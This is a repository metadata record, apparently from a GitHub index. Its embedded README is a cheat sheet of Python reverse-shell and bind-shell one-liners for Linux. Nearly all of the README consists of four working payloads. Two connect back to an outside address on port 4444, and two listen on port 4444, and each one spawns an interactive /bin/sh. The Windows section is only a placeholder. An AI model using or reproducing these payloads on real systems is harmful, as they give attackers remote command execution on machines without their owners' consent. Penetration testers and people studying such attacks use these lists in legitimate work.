{"id":16891179,"url":"https://github.com/shelld3v/python-shell-cheat-sheet","last_synced_at":"2026-05-01T04:37:13.657Z","repository":{"id":129304619,"uuid":"260232692","full_name":"shelld3v/Python-shell-cheat-sheet","owner":"shelld3v","description":"Full python reverse shell and bind shell payloads","archived":false,"fork":false,"pushed_at":"2020-04-30T15:06:44.000Z","size":1,"stargazers_count":16,"open_issues_count":0,"forks_count":5,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-10-11T07:29:41.713Z","etag":null,"topics":["bind-shell","cheat-sheet","exploit","hacking","python","python3","reverse-shell","security","shell"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/shelld3v.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2020-04-30T14:22:57.000Z","updated_at":"2025-06-22T10:01:08.000Z","dependencies_parsed_at":"2023-07-28T08:15:36.061Z","dependency_job_id":null,"html_url":"https://github.com/shelld3v/Python-shell-cheat-sheet","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/shelld3v/Python-shell-cheat-sheet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FPython-shell-cheat-sheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FPython-shell-cheat-sheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FPython-shell-cheat-sheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FPython-shell-cheat-sheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/shelld3v","download_url":"https://codeload.github.com/shelld3v/Python-shell-cheat-sheet/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FPython-shell-cheat-sheet/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32485297,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-30T13:12:12.517Z","status":"online","status_checked_at":"2026-05-01T02:00:05.856Z","response_time":64,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bind-shell","cheat-sheet","exploit","hacking","python","python3","reverse-shell","security","shell"],"created_at":"2024-10-13T17:05:53.405Z","updated_at":"2026-05-01T04:37:13.652Z","avatar_url":"https://github.com/shelld3v.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Python reverse shell and bind shell Cheat Sheet\n## Linux\n### Reverse shell\n#### Ipv4\n```\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])'\n```\n#### Ipv6\n```\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"dead:beef:2::125c\",4444,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])'\n```\n### Bind shell\n#### Ipv4\n```\npython -c 'import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"0.0.0.0\",4444));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])'\n```\n#### Ipv6\n```\npython -c 'import socket,os,subprocess;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.bind((\"::1\",4444,0,2));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])'\n```\n## Windows\n#### Updating ...\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fshelld3v%2Fpython-shell-cheat-sheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fshelld3v%2Fpython-shell-cheat-sheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fshelld3v%2Fpython-shell-cheat-sheet/lists"}